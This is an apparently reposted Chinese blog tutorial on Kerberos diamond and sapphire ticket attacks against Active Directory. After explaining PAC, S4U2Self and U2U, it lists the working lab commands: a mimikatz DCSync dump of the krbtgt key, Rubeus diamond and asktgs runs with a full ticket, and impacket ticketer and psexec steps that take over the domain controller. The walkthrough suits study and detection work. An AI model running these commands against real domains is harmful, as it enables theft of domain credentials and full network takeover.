<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    新一代Kerberos攻擊 | 鉆石票據與藍寶石票據

    VSole2023-08-14 09:59:14

    0x01 前言

    在了解票據攻擊的過程中,看見了一篇文章使用Rubeus進行鉆石票據攻擊。但是沒有原理,于是抱著學習的心態在Google上尋找文章發現除了鉆石票據還有藍寶石票據。

    0x02 補充知識

    在后滲透當中,咱擁有域控一定的權限之后就可以轉儲ntds.dit并獲取krbtgt密鑰。而黃金票據和白銀票據的問題在于它們很容易被發現。一旦 KDC服務收到TGT/ST,并且在SIEM中收到日志,就很容易被現在的安全設備所檢測出來。

    黃金票據攻擊和鉆石票據攻擊都需要訪問krbtgt密鑰。然而,鉆石票據攻擊需要訪問AES256密鑰。黃金票證攻擊則是利用偽造票證授予票證 (TGT) ,而鉆石票證攻擊則利用了域控制器 (DC) 請求的真實 TGT 進行解密和重新加密進行票據攻擊。

    鉆石票據與藍寶石票據的區別,在鉆石票據攻擊當中,修改是通過添加額外權限或完全修改所請求的 TGT 的原始 PAC。而在藍寶石票據當中,則是使用 Kerberos 委派獲取高權限用戶的合法 PAC 來修改 TGT,并將其替換為原始票證的 PAC。

    什么是 Kerberos 特權屬性證書 (PAC)?

    通過微軟文檔知道PAC 是一種傳遞域控制器 (DC)提供的授權相關信息的結構。身份驗證協議使用 PAC 來驗證身份以傳輸授權信息,從而控制對資源的訪問。完成身份驗證后,下一個任務是決定是否授權特定請求。而 DC 包括 PAC 中的授權數據,例如安全標識符 (SID)相對標識符 (RID)

    https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/54d570b1-fc54-4c54-8218-f770440ec334
    

    Kerberos委派

    Microsoft 實施了 Kerberos 擴展以避免將用戶的 TGT 保留在內存中。該擴展稱為S4U(Service for User),它由S4U2Self和S4U2Proxy組成。S4U2Self 允許服務代表任何用戶向其自身請求票證。S4U2Proxy 將允許一個服務向另一個服務進行身份驗證。

    我們在這里只簡單寫一下約束委派,這是藍寶石票據利用需要的。那么其他委派可以參考:

    https://blog.netwrix.com/2021/11/30/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/#:~:text=Kerberos%20Delegation%20is%20a%20security,account%20for%20any%20other%20network
    

    S4U2Self

    允許服務獲取其自身的 Kerberos服務票證的擴展。服務票證 包含用戶的組,因此可用于授權決策。要使用此協議擴展,發出KRB_TGS_REQ的用戶必須至少具有一個服務主體名稱 (SPN),以允許 DC 使用服務密鑰加密生成的服務票證。

    S4U2U KRB_TGS交換流程:

    • 服務填寫PA_FOR_USER數據結構,其中包含有關服務代表其請求服務票證的用戶的信息,并向 TGS 發送 KRB_TGS_REQ 消息。
    • 服務票證將通過 KRB_TGS_REQ 消息發送回服務。服務票據中返回的 PAC 包含授權數據。

    U2U Authentication

    允許客戶端請求使用 TGT 中的會話密鑰對 KDC 頒發的票證進行加密,該會話密鑰來自頒發給驗證身份驗證方的 TGT。

    https://www.rfc-editor.org/rfc/rfc4120#section-3.7
    

    KRB_TGS_REQ 將具有以下功能:

    • extra-tickets:將包含從中獲取秘密密鑰的 TGT
    • ENC-TKT-IN-SKEY:選項指示終端服務器的票證將在來自提供的附加 TGT 的會話密鑰中加密。服務名稱(sname)可以指用戶,但不一定是具有 SPN 的服務。

    U2U + S4U2Self

    允許沒有 SPN 的用戶使用 S4U2Self 擴展。在此交換中收到的服務票證使用服務器的密鑰進行加密(在這種特定情況下,服務器可以是沒有 SPN 的用戶),因此,可以使用服務器的密鑰來解密目標用戶的 PAC。KRB_TGS_REQ 數據包將具有這兩種方法的所有功能。

    我們也可以參考微軟的術語表,通過搜索引擎查找更加詳細的文章

    https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8ad1-e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39
    

    0x03 鉆石票據(Diamond Ticket)

    鉆石票據只需請求普通票證、解密 PAC、修改、重新計算簽名并再次加密,生成與合法 PAC 高度相似的 PAC,并且還可以生成合法請求。

    在這里我們使用Rebeus進行鉆石票據攻擊的利用。

    利用前提:

    • krbtgt aes256密鑰
    • 域密碼
    • 域控高權限

    首先我們使用mimikatz獲取krgtgt的aes256密鑰

    shell C:\Users\administrator\Desktop\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:de1ay.com /user:krbtgt" "exit"
    

    krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
    user:mssql
    password:1qaz@WSX
    domain:de1ay.com
    dc:dc.de1ay.com
    ticketuser:administrator
    

    在我們使用鉆石票據之前,低權限的主機是無法訪問域控的。那么有了以上這些信息,我們接著在低權限的機器里上傳Rubeus開始進行鉆石票據攻擊

    shell C:\Users\mssql\Desktop\Rubeus.exe diamond /krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 /user:mssql /password:1qaz@WSX /enctype:aes /domain:de1ay.com /dc:dc.de1ay.com /ticketuser:administrator /ptt /nowrap
    

    那么我們成功拿到了ticket.kirbi

    doIFOjCCBTagAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQsbCURFMUFZLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJREUxQVkuQ09No4IEATCCA/2gAwIBEqEDAgEDooID7wSCA+szGDMdUZAhjLgE3qMBr5MTc5dckpDKwNP8b2X8tAIrhNFCvUzf9Cv5V/0ku9XV8NLAU9++HldhkqOlyhoC9lCqMF28LbqlVJej/50CH8Zyp6aG2/nj3MyJc4RRvaLi88zu5BRrvmTRzB7AYR6Y/oOSfB7dGl38uwWxQSLOfCHgXIiXScR0VEXTkmgkuHkYp4b+Z+FDgGvCObP4oqJ3FLgUwoFphLnujdjKLtMH0oQexkZvHOBzD7phLgjYl1SB0FycF+iPVc+2zId6IW4jgroSCyVKGo7jsuLcocwRlAw5poPPtJHaHid/gGEG7OFXllvdzU0eGiZSuZiDyDrWMTbYbmz0byS7gPEZCT7oXcnRQJUSD4Ogc+ISokf/8g/qYCN0FDgumPRh/D346Y4SRRkxuXKXMvUzhblSwBXTN+9RMfS9RbWX4C0v7ROO3Yse3/jx9omGSE+A25r8bZ9ZsFhXtDveKVBTbnugVAdevVjy90zNvRb0h7Q3ZB8jEKfZO0wPBmFiKRXP9/J+OIUeOU+tL/EpzDB80KDZg9/sUoOETxMwDW/KMAthL4FzWiKyfIyjR0QhhJy20RY4tHlC5fbC5beT179cJViw960oZNYOTsBtLYe1JHH+IJmVAeZ6SdACVTThOBIL1u/D0mowpwzuc/cZzGzlOO5KimN/3Yp0SUDIr62RYZz31LqdEoWoCcWE7Nz43uhxOLScXrA/q31MTQ+TzXlEJZGzWhbu2uXHzm49ZUUruORvg4fjkGFDdtl1tnazdnGrXAHA8ZH6r1sssYNAGgxfBY/NkOEKmEgLYOjZH35QiCQNo9/ZOl6titS23D8GJJIaq1SWf+gXeneZxQxfLxS49uIvXe+t49saOZcQ0AQ4C5tTAuWxUQ9ncCCyF/9XHvYVP6EBPyzaCgtQFn3TpbPfjtd5sa+NtOsCwiN5vKLia9taYEu9oAT+Ht+Ddy3O1SkLKVvWhrkIoLR345foUspatqwBY4vXDmVuxYNho3/XiWPR7obF8OYC8AggyIqDnJyUtS6dAkDlbbj98Tyvvhpo5CBynPBov0gl4wKmwkSvaawud77HCnPS1/nIbcSpTNrsfN+IrEgaWHqt7RiopeIAT8xHjwjol+GIYisCXj610woDHLDiVxcDEZGHxKeCI22DUXcAIBoQMvE/UsozNBEiqwHKU5WIiry295VXJkrJpIeIbDnLse+0EmTWQj6EaJv/SNREGC951bTmm4ZxQuMXOELawQ3jtlqqHaHYBtPODbwJd4/wXZ7/RVISVxkMZTrW6ICnLIqgsVCLgRmKtq6/RqdRq55qUA6nNhHNtKMR+UK+z/0Ao4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgFFYLhJYuJsG5bAITiU7Fdu0VY9GZQ7h7nyVe6T3FnhChCxsJREUxQVkuQ09NohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIzMDgxMzA3MjkxOVqmERgPMjAyMzA4MTMxNzI5MTlapxEYDzIwMjMwODIwMDcyOTE5WqgLGwlERTFBWS5DT02pHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCURFMUFZLkNPTQ==
    

    接著就是利用拿到的ticket開始鉆石票據攻擊

    shell C:\Users\mssql\Desktop\Rubeus.exe asktgs /ticket:doIFOjCCBTagAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQsbCURFMUFZLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJREUxQVkuQ09No4IEATCCA/2gAwIBEqEDAgEDooID7wSCA+vCJjVu4BXMErHu9AbT4sKyrD3wcyA7nVgBYuedC2mW1SqJZY1C3u6HmSt0GkVEqKbV+vaj3kf+HdpwSmmj9gxyovEB18CoLR8r7hPpOA2jVsPZEC5jyT6jat+SPmhS0YQ5sHzHA/Qp6BINHSBCcQt4fhNMX0phz2ppa6wlIUty3vTRLtS8C0AzRZisN98ygNPaPOsGnsrHtlHfJr7FAYS39xUXuBQdFeqMF25Y3AnXcadtkCsjw/J2jTZZF05w2tRPitvBUQazC3wElgSJf4Hptq2ULF/ydCftPLPrxW7QMa2IlUHp44CwXMWr4g5WIuwMdMmQlSZ2BdEVuTSnp3jtGpBnsxhH/NZHtrCQFbTzUdiDe3fBIs38yPXUovcRwimDLv7mIoG/OvM/N0Q2ZQBEyQ1UxirowGYex2GaVOhud4TXNYT+ZXA+hGPD4fP0Aco60Ruj7mvoIibIXDL7RgQ+CZ/7lTOniIMa1s0DbIvBkyqu9feDDzZq/CQG93PRERr4iMR0pbr+GFEJq/ObUAVL+dAJXC6gZ2aVW5Bnnb2LxaP6ETkSgPJiWjBVviDB+U6aKMu9diH/qW4rbmBJlwORtMytTHhTMAlk/Q0/zMnJeyvVrPu0FPAcOANHTmjk/eLG3SHyHCr09c4A/K0HY6vBFVdYFG5+QoqsogFLNQ9+aIt3EyrIYcvdcEars2P95zoCrmLVSEDUDo7Oug5pixYYmkx6McgjUeoHkVeWrTH9lhsRY5HsT1HtwzcB1p2skO82mU21ISdxsFVSuLCTPwj1Zshy0pEx/wMLMz5KeAx7KIFuVFQVO4/0bSxJPHWY4q9R6Tbdy0C1kAWdeDJmrmtKw8OKY7nm9kS38WDwgOHOzRVoIdlrPCwL0DStD409P0OVUmTFqq1VevKwpeH5d/TetK35MLy6JfW52oH9dSM2LStQTwLGHqZ0/2O/WzDlzxXfTvBPYGO4kU05yrGplQhNX7lRwSn7FIHaHQ+HQ1XsPsR7Mb6MDBlo1ViNOCd/Bf9QhKKfcF9nB/9PFcHLiHzmwy5NDP53WG9GD07jBHJzxqde3NrhuzfThoh9OiggPQEvDvr4F+s4oSuLiHTZE01Ly/8jfyk3xsAv7nxdxibe60SDYGVINhG2RZos73O4fbSPqHIResToAobklkLFVePCTQhgcF/xwKa3MaA81V9LfVzMcTAFnnWtCLhIunesKCZn3UVuwyrTR6kgnshIgPZysFeppBpqpHRN+XpGc7YJdRo6f5j1WU6L9d61olLb19xDjc4CfeYwJiSZEY48d47WVu5Ruk35ZevqV8QfI9NWSGjwefCmGPXqjPLLo4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgcoXEQyOHq+NrtOFk6yBj7RsmO81Vqmbi4PvqaJmJqIqhCxsJREUxQVkuQ09NohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIzMDgxMzA0MTgxNlqmERgPMjAyMzA4MTMxNDE4MTZapxEYDzIwMjMwODIwMDQxODE2WqgLGwlERTFBWS5DT02pHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCURFMUFZLkNPTQ== /service:cifs/dc.de1ay.com /ptt /nowrap
    

    成功以低權限機器訪問域控!就此鉆石票據也利用成功了。


    0x04 藍寶石票據(Sapphire Ticket)

    藍寶石票據攻擊可以創建一個模擬任何用戶的 TGT,結合 S4U2Self + U2U 組裝真正的 TGT 和真正的 PAC。該 PAC 會替換合法票據中的 PAC

    我們目前通過剛才的lsadump::dcsync /domain:de1ay.com /all來獲取域的安全標識符(SID)

    咱接下來使用的是impacket,下面這個Github項目是已經添加-impersonate功能的ticketer.py

    https://github.com/ShutdownRepo/impacket/blob/sapphire-tickets/examples/ticketer.py
    

    由于目前我環境的問題,這邊用的資料的截圖作為例子!

    目前我們有以下信息

    domain admin:snapattack
    domain:snapattcker.labs
    user:vgullible
    pass:Passw0rd1
    aesKey:fec5d... ....
    domain-sid:S-1-5 ... ...
    DC:arrakis.snapattack.labs
    

    那么我們就可以開始進行藍寶石票據攻擊

    python3 ticketer.py -request -impersonate 'snapattack' -domain 'snapattack.labs' -user 'vgullible' -password 'Passw0rd1' -aesKey 'fec5d... ....' -domain-sid 'S-1-5-21-... ...' 'snapattcker'
    

    export KRB5CCNAME=snapattcker.cache
    python3 psexec.py snapattack.labs/snapattack@arrakis.snapattack.labs cmd.exe -k debug -n
    

    執行完之后,藍寶石票據就攻擊成功了。我們可以直接再次接管域控。

    0x05 結尾

    學習學習新技術,多漲漲自己的技術知識面!

    # 參考鏈接:
    https://pgj11.com/posts/Diamond-And-Sapphire-Tickets/
    https://jimmysured.github.io/2022/09/28/Diamond-Ticket-Sapphire-Ticket/
    https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/
    https://unit42.paloaltonetworks.com/next-gen-kerberos-attacks/#post-126011-_19wo0e5qmjx8
    
    kerberos鉆石
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在了解票據攻擊的過程中,看見了一篇文章使用Rubeus進行鉆石票據攻擊。但是沒有原理,于是抱著學習的心態在Google上尋找文章發現除了鉆石票據還有藍寶石票據。
    身份認證的結果往往是獲得一個令牌,通常放在cookie中,之后對用戶身份的識別根據這個授權的令牌進行識別,而不需要每次都要登陸。在開發Web應用程序時,開發人員往往只關注Web應用程序所需的功能。由于這個原因,開發人員通常會建立自定義的認證和會話管理方案。攻擊者在一個小時后能使用相同瀏覽器通過身份認證。
    UDPX是一款功能強大的快速輕量級單數據包UDP掃描器,該工具基于Go語言開發,支持掃描和發現超過45種網絡服務,并且支持添加自定義的掃描服務類型。UDPX實現了一種基于單個數據包的方法,特定于協議的數據包被發送到定義的服務(端口)并等待響應。一種典型的技術是向目標機器上的每個端口發送0字節的UDP數據包。如果接收到對探測器的UDP響應(異常),則端口處于打開狀態。
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    暴力破解攻擊,攻擊者通過利用大量猜測和窮舉的方式來嘗試獲取用戶口令。暴力破解與密碼噴灑的區別在于,暴力破解攻擊是固定用戶名,快速檢查大量密碼進行匹配,而密碼噴灑攻擊則是固定密碼,遍歷用戶名進行驗證。
    最新提權漏洞原理深入分析
    域滲透重要漏洞匯總
    10 月 12 日,微軟宣布新一輪過渡計劃,棄用 NTLM 身份認證方式,讓更多企業和用戶過渡到Kerberos
    域內持久權限維持總結
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类